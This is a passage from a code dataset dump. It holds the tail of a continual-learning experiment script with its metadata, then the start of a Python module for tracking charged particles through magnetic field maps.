TinyDB_hp_tracker(args_global.hp_db_path+f'/hp_database_{args_global.dataset_name}.json', key=key)    \n    args_global.group_name = args_global.generate_group_name(args_model.md5+args_classifier.md5)        \n    set_seed(manualSeed=args_global.seed)  \n    if args_global.n_task_order_permutations>0:\n        args_global.permute_task_order=1               \n        for run_i in range(args_global.n_task_order_permutations):\n            flopws_meter_pertask_cv, flopws_meter_optimal_params = init_flops_meters()\n            args_global.generate_task_order(run_i)\n            if args_global.use_hp_database:\n                success,args_global,args_model,args_classifier=hp_db.load_hps_from_db(args_global,args_model,args_classifier)\n            run = wandb.init(project=wandb_project, mode=wandb_mode, notes=args_global.wandb_notes, group=args_global.group_name, settings=wandb.Settings(start_method=\"fork\"), reinit=False, entity=args_global.wandb_entity)\n            wandb.save('datasets.py')\n            start_experiment(run)\n    else:\n        flopws_meter_pertask_cv, flopws_meter_optimal_params = init_flops_meters()\n        if args_global.use_hp_database:\n            success,args_global,args_model,args_classifier=hp_db.load_hps_from_db(args_global,args_model,args_classifier)\n        run = wandb.init(project=wandb_project, mode=wandb_mode, notes=args_global.wandb_notes, settings=wandb.Settings(start_method=\"fork\"), reinit=False, entity=args_global.wandb_entity)\n        wandb.save('datasets.py')\n        start_experiment(run)", "repo_name": "oleksost/latent_CL", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 38327, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.cuda.is_available", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "Utils.utils.FlopsMeter", "line_number": 41, "usage_type": "call"}, {"api_name": "Utils.utils.FlopsMeter", "line_number": 43, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 40, "usage_type": "name"}, {"api_name": "Utils.utils.FlopsMeter", "line_number": 40, "usage_type": "name"}, {"api_name": "Utils.utils.FlopsMeter", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 48, "usage_type": "argument"}, {"api_name": "Utils.utils.preprocess_tensor", "line_number": 58, "usage_type": "call"}, {"api_name": "Utils.utils.preprocess_tensor", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 73, "usage_type": "call"}, {"api_name": "Models.model.ModelContainer_ER", "line_number": 78, "usage_type": "name"}, {"api_name": "args.ArgsGenerator", "line_number": 78, "usage_type": "name"}, {"api_name": "Models.model.TorchModuleWrapper", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 78, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 78, "usage_type": "name"}, {"api_name": "Utils.utils.FlopsMeter", "line_number": 86, "usage_type": "call"}, {"api_name": "args.epochs", "line_number": 95, "usage_type": "attribute"}, {"api_name": "collections.defaultdict", "line_number": 98, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler.CosineAnnealingLR", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 104, "usage_type": "attribute"}, {"api_name": "args.epochs", "line_number": 104, "usage_type": "attribute"}, {"api_name": "args.er_buffer_type", "line_number": 113, "usage_type": "attribute"}, {"api_name": "args.er_size_per_class", "line_number": 113, "usage_type": "attribute"}, {"api_name": "continuum.rehearsal.memory.RehearsalMemory", "line_number": 115, "usage_type": "argument"}, {"api_name": "continuum.tasks.base.BaseTaskSet", "line_number": 117, "usage_type": "argument"}, {"api_name": "args.tasktype", "line_number": 120, "usage_type": "attribute"}, {"api_name": "continuum.tasks.TaskType.IMAGE_PATH", "line_number": 120, "usage_type": "attribute"}, {"api_name": "continuum.tasks.TaskType", "line_number": 120, "usage_type": "name"}, {"api_name": "continuum.tasks.task_set.TaskSet", "line_number": 123, "usage_type": "call"}, {"api_name": "args.tasktype", "line_number": 123, "usage_type": "attribute"}, {"api_name": "Utils.utils.prepare_dataloader", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.randperm", "line_number": 132, "usage_type": "call"}, {"api_name": "itertools.cycle", "line_number": 136, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 141, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 146, "usage_type": "call"}, {"api_name": "args.estimate_compute_regime", "line_number": 147, "usage_type": "attribute"}, {"api_name": "dataset_encoder.estimate_compute_regime", "line_number": 149, "usage_type": "call"}, {"api_name": "args.estimate_time", "line_number": 149, "usage_type": "attribute"}, {"api_name": "Utils.utils.preprocess_tensor", "line_number": 153, "usage_type": "call"}, {"api_name": "args.device", "line_number": 154, "usage_type": "attribute"}, {"api_name": "args.record_flops", "line_number": 160, "usage_type": "attribute"}, {"api_name": "fvcore.nn.FlopCountAnalysis", "line_number": 162, "usage_type": "call"}, {"api_name": "time.time", "line_number": 175, "usage_type": "call"}, {"api_name": "args.er_buffer_type", "line_number": 177, "usage_type": "attribute"}, {"api_name": "numpy.bincount", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 179, "usage_type": "call"}, {"api_name": "args.device", "line_number": 179, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 180, "usage_type": "name"}, {"api_name": "time.time", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 191, "usage_type": "call"}, {"api_name": "args.debug", "line_number": 194, "usage_type": "attribute"}, {"api_name": "args.regime", "line_number": 194, "usage_type": "attribute"}, {"api_name": "Utils.utils.log_wandb", "line_number": 200, "usage_type": "call"}, {"api_name": "args.test_every", "line_number": 202, "usage_type": "attribute"}, {"api_name": "Utils.utils.test", "line_number": 203, "usage_type": "call"}, {"api_name": "args.device", "line_number": 203, "usage_type": "attribute"}, {"api_name": "Utils.utils.log_wandb", "line_number": 205, "usage_type": "call"}, {"api_name": "args.validate_every", "line_number": 206, "usage_type": "attribute"}, {"api_name": "Utils.utils.test", "line_number": 207, "usage_type": "call"}, {"api_name": "args.device", "line_number": 207, "usage_type": "attribute"}, {"api_name": "Utils.utils.log_wandb", "line_number": 209, "usage_type": "call"}, {"api_name": "args.early_stopping_patience", "line_number": 217, "usage_type": "attribute"}, {"api_name": "args.early_stopping", "line_number": 219, "usage_type": "attribute"}, {"api_name": "Utils.utils.log_wandb", "line_number": 223, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 224, "usage_type": "call"}, {"api_name": "dataset_encoder.UsedFlops", "line_number": 237, "usage_type": "call"}, {"api_name": "Models.model.ModelContainer_ER", "line_number": 249, "usage_type": "name"}, {"api_name": "args.ArgsGenerator", "line_number": 249, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 249, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 249, "usage_type": "name"}, {"api_name": "wandb.Table", "line_number": 249, "usage_type": "attribute"}, {"api_name": "args.schedule", "line_number": 263, "usage_type": "attribute"}, {"api_name": "args.regime", "line_number": 265, "usage_type": "attribute"}, {"api_name": "args.n_epochs_task_level_cv", "line_number": 273, "usage_type": "attribute"}, {"api_name": "args.task_level_cv", "line_number": 273, "usage_type": "attribute"}, {"api_name": "args.keep_best_params_after_first_task", "line_number": 273, "usage_type": "attribute"}, {"api_name": "args.n_epochs_task_level_cv", "line_number": 274, "usage_type": "attribute"}, {"api_name": "args.finetuning_only_norms", "line_number": 277, "usage_type": "attribute"}, {"api_name": "args.unfreeze_input_layer", "line_number": 281, "usage_type": "attribute"}, {"api_name": "args.freeze_vit_untill_layer", "line_number": 283, "usage_type": "attribute"}, {"api_name": "args.freeze_vit_untill_layer", "line_number": 284, "usage_type": "attribute"}, {"api_name": "args.n_epochs_task_level_cv", "line_number": 308, "usage_type": "attribute"}, {"api_name": "args.task_level_cv", "line_number": 308, "usage_type": "attribute"}, {"api_name": "args.keep_best_params_after_first_task", "line_number": 308, "usage_type": "attribute"}, {"api_name": "args.regime", "line_number": 312, "usage_type": "attribute"}, {"api_name": "torch.nn.Identity", "line_number": 313, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 313, "usage_type": "name"}, {"api_name": "args.use_hp_database", "line_number": 330, "usage_type": "attribute"}, {"api_name": "args.task_level_cv", "line_number": 330, "usage_type": "attribute"}, {"api_name": "args.keep_best_params_after_first_task", "line_number": 331, "usage_type": "attribute"}, {"api_name": "Utils.utils.log_wandb", "line_number": 337, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 343, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 344, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 345, "usage_type": "call"}, {"api_name": "Utils.utils.test", "line_number": 356, "usage_type": "call"}, {"api_name": "args.device", "line_number": 356, "usage_type": "attribute"}, {"api_name": "Utils.utils.test", "line_number": 360, "usage_type": "call"}, {"api_name": "args.device", "line_number": 360, "usage_type": "attribute"}, {"api_name": "args.ArgsGenerator", "line_number": 368, "usage_type": "name"}, {"api_name": "Models.model.ModelContainer_ER.Options", "line_number": 368, "usage_type": "attribute"}, {"api_name": "Models.model.ModelContainer_ER", "line_number": 368, "usage_type": "name"}, {"api_name": "args.regime", "line_number": 372, "usage_type": "attribute"}, {"api_name": "dataset_encoder.prepare_scenarios", "line_number": 373, "usage_type": "call"}, {"api_name": "Models.model.ModelContainer_ER", "line_number": 375, "usage_type": "call"}, {"api_name": "args.device", "line_number": 375, "usage_type": "attribute"}, {"api_name": "args.encode_with_continuum", "line_number": 378, "usage_type": "attribute"}, {"api_name": "args.regime", "line_number": 381, "usage_type": "attribute"}, {"api_name": "args.dataset", "line_number": 382, "usage_type": "attribute"}, {"api_name": "Models.model.ModelContainer_ER", "line_number": 383, "usage_type": "call"}, {"api_name": "args.n_classes", "line_number": 383, "usage_type": "attribute"}, {"api_name": "args.device", "line_number": 383, "usage_type": "attribute"}, {"api_name": "numpy.prod", "line_number": 385, "usage_type": "call"}, {"api_name": "args.dataset", "line_number": 385, "usage_type": "attribute"}, {"api_name": "dataset_encoder.prepare_scenarios", "line_number": 387, "usage_type": "call"}, {"api_name": "args.permute_task_order", "line_number": 388, "usage_type": "attribute"}, {"api_name": "Models.model.ModelContainer_ER", "line_number": 390, "usage_type": "call"}, {"api_name": "args.device", "line_number": 390, "usage_type": "attribute"}, {"api_name": "args.finetuning_only_norms", "line_number": 392, "usage_type": "attribute"}, {"api_name": "args.unfreeze_input_layer", "line_number": 396, "usage_type": "attribute"}, {"api_name": "args.freeze_vit_untill_layer", "line_number": 399, "usage_type": "attribute"}, {"api_name": "args.freeze_vit_untill_layer", "line_number": 400, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 368, "usage_type": "name"}, {"api_name": "Models.model.ModelContainer", "line_number": 368, "usage_type": "name"}, {"api_name": "continuum.scenarios._BaseScenario", "line_number": 368, "usage_type": "name"}, {"api_name": "numpy.random.RandomState", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 413, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 425, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 425, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 427, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 427, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 428, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 429, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 431, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 432, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 434, "usage_type": "call"}, {"api_name": "args.ArgsGenerator", "line_number": 436, "usage_type": "name"}, {"api_name": "Models.model.ModelContainer_ER.Options", "line_number": 436, "usage_type": "attribute"}, {"api_name": "Models.model.ModelContainer_ER", "line_number": 436, "usage_type": "name"}, {"api_name": "args.ExperimentState", "line_number": 437, "usage_type": "call"}, {"api_name": "args.device", "line_number": 443, "usage_type": "attribute"}, {"api_name": "Utils.utils.Logger", "line_number": 446, "usage_type": "call"}, {"api_name": "Utils.utils.get_scenario_remapping", "line_number": 452, "usage_type": "call"}, {"api_name": "args.dataset_name", "line_number": 456, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.transforms.Compose", "line_number": 459, "usage_type": "call"}, {"api_name": "torchvision.transforms.transforms.ToTensor", "line_number": 459, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 462, "usage_type": "call"}, {"api_name": "continuum.tasks.h5_task_set.H5TaskSet", "line_number": 464, "usage_type": "argument"}, {"api_name": "Utils.utils.convert_to_task_set", "line_number": 467, "usage_type": "call"}, {"api_name": "Utils.utils.split_train_val", "line_number": 468, "usage_type": "call"}, {"api_name": "args.valid_fraction", "line_number": 468, "usage_type": "attribute"}, {"api_name": "args.valid_k", "line_number": 468, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 470, "usage_type": "argument"}, {"api_name": "torchvision.transforms.transforms.Compose", "line_number": 471, "usage_type": "call"}, {"api_name": "Utils.utils.split_train_val", "line_number": 477, "usage_type": "call"}, {"api_name": "args.valid_fraction", "line_number": 477, "usage_type": "attribute"}, {"api_name": "args.valid_k", "line_number": 477, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 480, "usage_type": "argument"}, {"api_name": "typing.List", "line_number": 481, "usage_type": "argument"}, {"api_name": "torchvision.transforms.transforms.Compose", "line_number": 482, "usage_type": "call"}, {"api_name": "torchvision.transforms.transforms.Compose", "line_number": 484, "usage_type": "call"}, {"api_name": "args.fraction_buffer_samples_valid", "line_number": 494, "usage_type": "attribute"}, {"api_name": "args.er_size_per_class", "line_number": 494, "usage_type": "attribute"}, {"api_name": "Utils.utils.split_er_buffer", "line_number": 495, "usage_type": "call"}, {"api_name": "args.fraction_buffer_samples_valid", "line_number": 495, "usage_type": "attribute"}, {"api_name": "continuum.tasks.concat", "line_number": 498, "usage_type": "call"}, {"api_name": "args.er_size_per_class", "line_number": 505, "usage_type": "attribute"}, {"api_name": "args.er_buffer_type", "line_number": 506, "usage_type": "attribute"}, {"api_name": "Utils.utils.prepare_randombuffer_train_loader", "line_number": 507, "usage_type": "call"}, {"api_name": "args.er_buffer_type", "line_number": 508, "usage_type": "attribute"}, {"api_name": "Utils.utils.prepare_balanced_train_loader", "line_number": 509, "usage_type": "call"}, {"api_name": "Utils.utils.prepare_dataloader", "line_number": 513, "usage_type": "call"}, {"api_name": "Utils.utils.prepare_dataloader", "line_number": 515, "usage_type": "call"}, {"api_name": "Utils.utils.prepare_dataloader", "line_number": 518, "usage_type": "call"}, {"api_name": "Utils.utils.prepare_dataloader", "line_number": 519, "usage_type": "call"}, {"api_name": "Utils.utils.prepare_dataloader", "line_number": 520, "usage_type": "call"}, {"api_name": "args.dataset_name", "line_number": 524, "usage_type": "attribute"}, {"api_name": "args.debug", "line_number": 525, "usage_type": "attribute"}, {"api_name": "args.concat_validation_sets", "line_number": 527, "usage_type": "attribute"}, {"api_name": "continuum.tasks.concat", "line_number": 528, "usage_type": "call"}, {"api_name": "Utils.utils.prepare_dataloader", "line_number": 529, "usage_type": "call"}, {"api_name": "args.concat_test_sets", "line_number": 530, "usage_type": "attribute"}, {"api_name": "continuum.tasks.concat", "line_number": 531, "usage_type": "call"}, {"api_name": "Utils.utils.prepare_dataloader", "line_number": 532, "usage_type": "call"}, {"api_name": "Utils.utils.test", "line_number": 534, "usage_type": "call"}, {"api_name": "args.device", "line_number": 534, "usage_type": "attribute"}, {"api_name": "Utils.utils.test", "line_number": 535, "usage_type": "call"}, {"api_name": "args.device", "line_number": 535, "usage_type": "attribute"}, {"api_name": "Utils.utils.test", "line_number": 536, "usage_type": "call"}, {"api_name": "args.device", "line_number": 536, "usage_type": "attribute"}, {"api_name": "Utils.utils.log_wandb", "line_number": 537, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 538, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 539, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 540, "usage_type": "call"}, {"api_name": "Utils.utils.log_wandb", "line_number": 541, "usage_type": "call"}, {"api_name": "args.er_size_per_class", "line_number": 545, "usage_type": "attribute"}, {"api_name": "args.er_with_prototypes", "line_number": 553, "usage_type": "attribute"}, {"api_name": "args.size_of_random_prototype_factor", "line_number": 555, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 556, "usage_type": "call"}, {"api_name": "numpy.bincount", "line_number": 556, "usage_type": "call"}, {"api_name": "args.er_size_per_class", "line_number": 556, "usage_type": "attribute"}, {"api_name": "args.size_of_random_prototype_factor", "line_number": 557, "usage_type": "attribute"}, {"api_name": "args.er_size_per_class", "line_number": 561, "usage_type": "attribute"}, {"api_name": "args.stop_after_first_task", "line_number": 564, "usage_type": "attribute"}, {"api_name": "args.reinit_between_tasks", "line_number": 566, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 572, "usage_type": "call"}, {"api_name": "simple_parsing.ArgumentParser", "line_number": 582, "usage_type": "call"}, {"api_name": "args.ArgsGenerator", "line_number": 583, "usage_type": "argument"}, {"api_name": "Models.model.ModelContainer.Options", "line_number": 584, "usage_type": "attribute"}, {"api_name": "Models.model.ModelContainer", "line_number": 584, "usage_type": "name"}, {"api_name": "Models.Classifier_options", "line_number": 585, "usage_type": "argument"}, {"api_name": "args.ArgsGenerator", "line_number": 587, "usage_type": "name"}, {"api_name": "args.Global", "line_number": 587, "usage_type": "attribute"}, {"api_name": "args.Model", "line_number": 588, "usage_type": "attribute"}, {"api_name": "args.Classifier", "line_number": 590, "usage_type": "attribute"}, {"api_name": "args.Classifier", "line_number": 592, "usage_type": "attribute"}, {"api_name": "args.Classifier", "line_number": 594, "usage_type": "attribute"}, {"api_name": "args.Classifier", "line_number": 596, "usage_type": "attribute"}, {"api_name": "args.Classifier", "line_number": 598, "usage_type": "attribute"}, {"api_name": "args.Classifier", "line_number": 600, "usage_type": "attribute"}, {"api_name": "args.Classifier", "line_number": 602, "usage_type": "attribute"}, {"api_name": "args.Classifier", "line_number": 604, "usage_type": "attribute"}, {"api_name": "args.Classifier", "line_number": 606, "usage_type": "attribute"}, {"api_name": "wandb.util.generate_id", "line_number": 613, "usage_type": "call"}, {"api_name": "wandb.util", "line_number": 613, "usage_type": "attribute"}, {"api_name": "Utils.utils.is_connected", "line_number": 615, "usage_type": "call"}, {"api_name": "wandb.config.update", "line_number": 623, "usage_type": "call"}, {"api_name": "wandb.config", "line_number": 623, "usage_type": "attribute"}, {"api_name": "wandb.config.update", "line_number": 624, "usage_type": "call"}, {"api_name": "wandb.config", "line_number": 624, "usage_type": "attribute"}, {"api_name": "wandb.config.update", "line_number": 626, "usage_type": "call"}, {"api_name": "wandb.config", "line_number": 626, "usage_type": "attribute"}, {"api_name": "torch.cuda.device_count", "line_number": 627, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 627, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 633, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 634, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 634, "usage_type": "attribute"}, {"api_name": "Utils.utils.TinyDB_hp_tracker", "line_number": 635, "usage_type": "call"}, {"api_name": "Utils.utils.set_seed", "line_number": 637, "usage_type": "call"}, {"api_name": "wandb.init", "line_number": 645, "usage_type": "call"}, {"api_name": "wandb.Settings", "line_number": 645, "usage_type": "call"}, {"api_name": "wandb.save", "line_number": 646, "usage_type": "call"}, {"api_name": "wandb.init", "line_number": 652, "usage_type": "call"}, {"api_name": "wandb.Settings", "line_number": 652, "usage_type": "call"}, {"api_name": "wandb.save", "line_number": 653, "usage_type": "call"}]}
{"seq_id": "25484244134", "text": "from scipy.interpolate import RegularGridInterpolator as RGI\nimport numpy as np\nimport math as m\nimport pandas as pd\n# from sympy import Point3D, Plane, Line3D\nfrom multiprocessing import Pool\nimport time\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport matplotlib.cm as cmx\nfrom matplotlib.collections import LineCollection\nfrom matplotlib.colors import ListedColormap\nfrom matplotlib import colors\n\n# constants\ne_C = 1.602176634e-19     # unit electric charge [C]\nc_m_per_s = 299792458.0   # speed of light [m/s]\nmp_kg = 1.6726219e-27     # proton mass [kg]\n\ndef get_ang_from_mom(Px=0, Py=0, Pz=0):\n    \"\"\" return angle from momentum \"\"\"\n    P = np.sqrt(Px**2 + Py**2 + Pz**2)\n    return np.arctan(Px/Pz), np.arcsin(Py/P)\n\ndef get_mom_from_ang(xp, yp, P):\n    \"\"\" return momentum form angle \"\"\"\n    Pz = P * np.sqrt((1 - np.sin(yp)**2) / (1 + np.tan(xp)**2))\n    Px = Pz * np.tan(xp)   \n    Py = P * np.sin(yp)\n    return Px, Py, Pz\n\ndef get_can_from_ang(xp=0, yp=0, pz=0):\n    \"\"\" return canonical momentum from angle \"\"\"\n    return (pz + 1) * np.sin(xp) * np.cos(yp), (pz + 1) * np.sin(yp)\n\ndef get_ang_from_can(px=0, py=0, pz=0):\n    \"\"\" return angle from canonical momentum \"\"\"\n    xp = np.arctan(px / np.sqrt((pz + 1)**2 - px**2 - py**2))\n    yp = np.arctan(py / np.sqrt((pz + 1)**2 - py**2)) \n    return xp, yp\n\ndef get_can_from_mom(Px, Py, Pz, P0):\n    \"\"\" return canonical momentum from momentum \"\"\"\n    return Px / P0, Py / P0, (np.sqrt(Px**2 + Py**2 + Pz**2) - P0) / P0\n\ndef get_mom_from_can(px, py, pz, P0):\n    \"\"\" return momentum from canonical momentum \"\"\"\n    Px = px * P0\n    Py = py * P0\n    Pz = np.sqrt(P0**2 * (pz + 1)**2 - Px**2 - Py**2)\n    return Px, Py, Pz\n\ndef interpolate_fieldmap(df, method='linear'):\n    \"\"\" interpolate the field map on a 3D regular grid\n    and determine the boundaries of the field grid \"\"\"\n    df.sort_values(by=['x', 'y', 'z'], inplace=True)\n    df.reset_index(inplace=True, drop=True)\n    xs, ys, zs = df.x.unique(), df.y.unique(), df.z.unique()\n    Bx = RGI((xs, ys, zs), df.Bx.values.reshape((len(xs), len(ys), len(zs))), \n             bounds_error=False, fill_value=None, method=method)\n    By = RGI((xs, ys, zs), df.By.values.reshape((len(xs), len(ys), len(zs))), \n             bounds_error=False, fill_value=None, method=method)\n    Bz = RGI((xs, ys, zs), df.Bz.values.reshape((len(xs), len(ys), len(zs))), \n             bounds_error=False, fill_value=None, method=method)\n    return {'Bx': Bx,\n            'By': By,\n            'Bz': Bz,\n            'xbounds': ((df.x.min(), df.x.max()), (df.y.min(), df.y.max()), (df.z.min(), df.z.max()))}\n\ndef matrix_rotation(xp, yp, zp=0):\n    \"\"\" return rotation matrix based on rotation angles around x, y, z axes \"\"\"\n    def Rx(theta):\n        return np.array([[ 1, 0           , 0           ],\n                         [ 0, m.cos(theta),-m.sin(theta)],\n                         [ 0, m.sin(theta), m.cos(theta)]])\n    def Ry(theta):\n        return np.array([[ m.cos(theta), 0, m.sin(theta)],\n                         [ 0           , 1, 0           ],\n                         [-m.sin(theta), 0, m.cos(theta)]])\n    def Rz(theta):\n        return np.array([[ m.cos(theta), -m.sin(theta), 0 ],\n                         [ m.sin(theta), m.cos(theta) , 0 ],\n                         [ 0           , 0             , 1]])\n    return np.dot(Rx(yp), Ry(-xp))\n\ndef get_pos_glob(pos, pos_glob, R):\n    \"\"\" convert position pos in LCS to GCS\n    based on the global position and the rotation matrix \"\"\"\n    return np.dot(np.linalg.inv(R), pos) +  pos_glob\n\ndef get_mom_glob(mom, R):\n    \"\"\" convert momentum mom in LCS to GCS\n    based on the rotation matrix \"\"\"\n    mom = np.array(mom)\n    return np.dot(np.linalg.inv(R), mom)\n\ndef matrix_arr_to_dict(mat):\n    \"\"\" convert 6x6 matrix from numpy array to dictionary \"\"\"\n    [[r11, r12, r13, r14, r15, r16],\n    [r21, r22, r23, r24, r25, r26],\n    [r31, r32, r33, r34, r35, r36],\n    [r41, r42, r43, r44, r45, r46],\n    [r51, r52, r53, r54, r55, r56],\n    [r61, r62, r63, r64, r65, r66]] = mat\n    \n    return {'r11': r11, 'r12': r12, 'r13': r13, 'r14': r14, 'r15': r15, 'r16': r16, \n            'r21': r21, 'r22': r22, 'r23': r23, 'r24': r24, 'r25': r25, 'r26': r26, \n            'r31': r31, 'r32': r32, 'r33': r33, 'r34': r34, 'r35': r35, 'r36': r36, \n            'r41': r41, 'r42': r42, 'r43': r43, 'r44': r44, 'r45': r45, 'r46': r46, \n            'r51': r51, 'r52': r52, 'r53': r53, 'r54': r54, 'r55': r55, 'r56': r56, \n            'r61': r61, 'r62': r62, 'r63': r63, 'r64': r64, 'r65': r65, 'r66': r66}\n\ndef perpendicular_line(x1, y1, x2, y2):\n    \"\"\" return a line perpendicular to the one that contains the two points (x1, y1) and (x2, y2) \"\"\"\n    a = (y2 - y1) / (x2 - x1)\n    b = y1 - a * x1     \n    return a, b \n\ndef cross3(a, b):\n    \"\"\" return cross product between two 3D vectors \"\"\"\n    return np.array([a[1] * b[2] - a[2] * b[1],\n                     a[2] * b[0] - a[0] * b[2],\n                     a[0] * b[1] - a[1] * b[0]])\n\ndef plane(vector, point):\n    \"\"\" return plane normal to the vector \"\"\"\n    return [vector[0], vector[1], vector[2], -(vector[0]*point[0]+vector[1]*point[1]+vector[2]*point[2])]\n\ndef line_param(point1, point2):\n    \"\"\" return coefficients of the parametric equation of line between two points \"\"\"\n    lx = point2[0] - point1[0]\n    ly = point2[1] - point1[1]\n    lz = point2[2] - point1[2]\n    return lx, point1[0], ly, point1[1], lz, point1[2]\n\ndef point(line_par, plane):\n    \"\"\" return intersection point between line and the plane \"\"\"\n    (lx, cx, ly, cy, lz, cz) = line_par\n    (a,b,c,d) = plane\n    t = -(cx*a + cy*b + cz*c + d)/(a*lx + b*ly + c*lz)\n    return lx*t + cx, ly*t + cy, lz*t + cz\n\ndef distance( point1, point2):\n    \"\"\" return distance between two points \"\"\"\n    return np.linalg.norm(np.array(point1) - np.array(point2))\n\ndef remove_mid_el(arr):\n    \"\"\" remove the middle element from an array \"\"\"\n    mid_id = round(len(arr)/2)\n    return np.concatenate((arr[:mid_id], arr[mid_id+1:]))\n\ndef style_df_transport_matrix(arr,\n                              caption=None,\n                              index_names = [\"x [m]\",\"xp [rad]\",\"y [m]\",\"yp [rad]\",\"T [m]\",\"D [1]\"],\n                              columns_names = [\"x0 [m]\",\"xp0 [rad]\",\"y0 [m]\",\"yp0 [rad]\",\"T0 [m]\",\"D0 [1]\"]):\n    df = pd.DataFrame(data = arr,\n                      index = index_names,\n                      columns = columns_names)\n    if caption:\n        return df.style.format(\"{:.4f}\").set_caption(caption)\n    return df.style.format(\"{:.4f}\")\n\n\nclass Particle(object):\n    def __init__(self, name):\n        self.partd = {'proton' : {'e0': 9.3827208816e8,\n                                  'a' : 1.0,\n                                  'z' : 1.0},\n                      'carbon12': {'e0': ((9.38272*6+9.395654*6)-0.93161)*1e8,\n                                   'a' : 12.0,\n                                   'z' : 6.0 }}\n        assert name in self.partd\n        self.particle = self.partd[name]\n        self.a = self.particle['a']\n        self.z = self.particle['z']\n        self.e0_eV = self.particle['e0']\n\n    def get_e0_eV(self):\n        \"\"\" return rest energy of the particle in eV \"\"\"\n        return self.e0_eV\n\n    def get_e0_MeV(self):\n        \"\"\" return rest energy of the particle in MeV \"\"\"\n        return self.e0_eV / 1e6\n    \n    def get_a(self):\n        \"\"\" return mass number \"\"\"\n        return self.a\n\n    def get_z(self):\n        \"\"\" return atomic number \"\"\"\n        return self.z\n    \n    def get_en_tot(self, en_per_unit_MeV):\n        \"\"\" return total energy of particle in eV \"\"\"\n        return self.e0_eV + self.a * en_per_unit_MeV * 1e6\n\n    def get_p0c(self, en_per_unit_MeV):\n        \"\"\" return particle momentum in eV \"\"\"\n        etot_eV = (en_per_unit_MeV * 1e6 + self.e0_eV)\n        return np.sqrt(self.get_en_tot(en_per_unit_MeV)**2 - self.e0_eV**2)\n\n    def get_en_per_unit_MeV(self, p0c):\n        \"\"\" return energy per unit in MeV based on momentum \"\"\"\n        res_ev = np.sqrt(p0c**2 + self.e0_eV**2) - self.e0_eV\n        return res_ev * 1e-6 / self.a\n\n    def get_en_per_unit_MeV_rig(self, rigidity_Tm):\n        \"\"\" return energy per unit in MeV based on rigidity T-m \"\"\"\n        momentum = rigidity_Tm * e_C * self.z # kg.m/s\n        e_tot_J = c_m_per_s * np.sqrt(momentum**2 + (self.a * mp_kg * c_m_per_s)**2) # J\n        e_tot = e_tot_J / e_C # eV\n        e_kin = e_tot - self.e0_eV * 1e6\n        return e_kin / self.a / 1e6  \n\n    def get_rigidity(self, en_per_unit_MeV):\n        \"\"\" return beam rigidity in T-m \"\"\"\n        e_kin = self.a * en_per_unit_MeV * 1e6 \n        e_tot = self.e0_eV + e_kin # eV\n        e_tot_J = e_tot * e_C # J\n        momentum = np.sqrt((e_tot_J / c_m_per_s)**2 - (self.a * mp_kg * c_m_per_s)**2) # kg.m/s\n        return momentum / (e_C * self.z)\n\n    def get_lorentz_beta(self, en_per_unit_MeV):\n        \"\"\" return the Lorentz beta factor based on energy per unit in 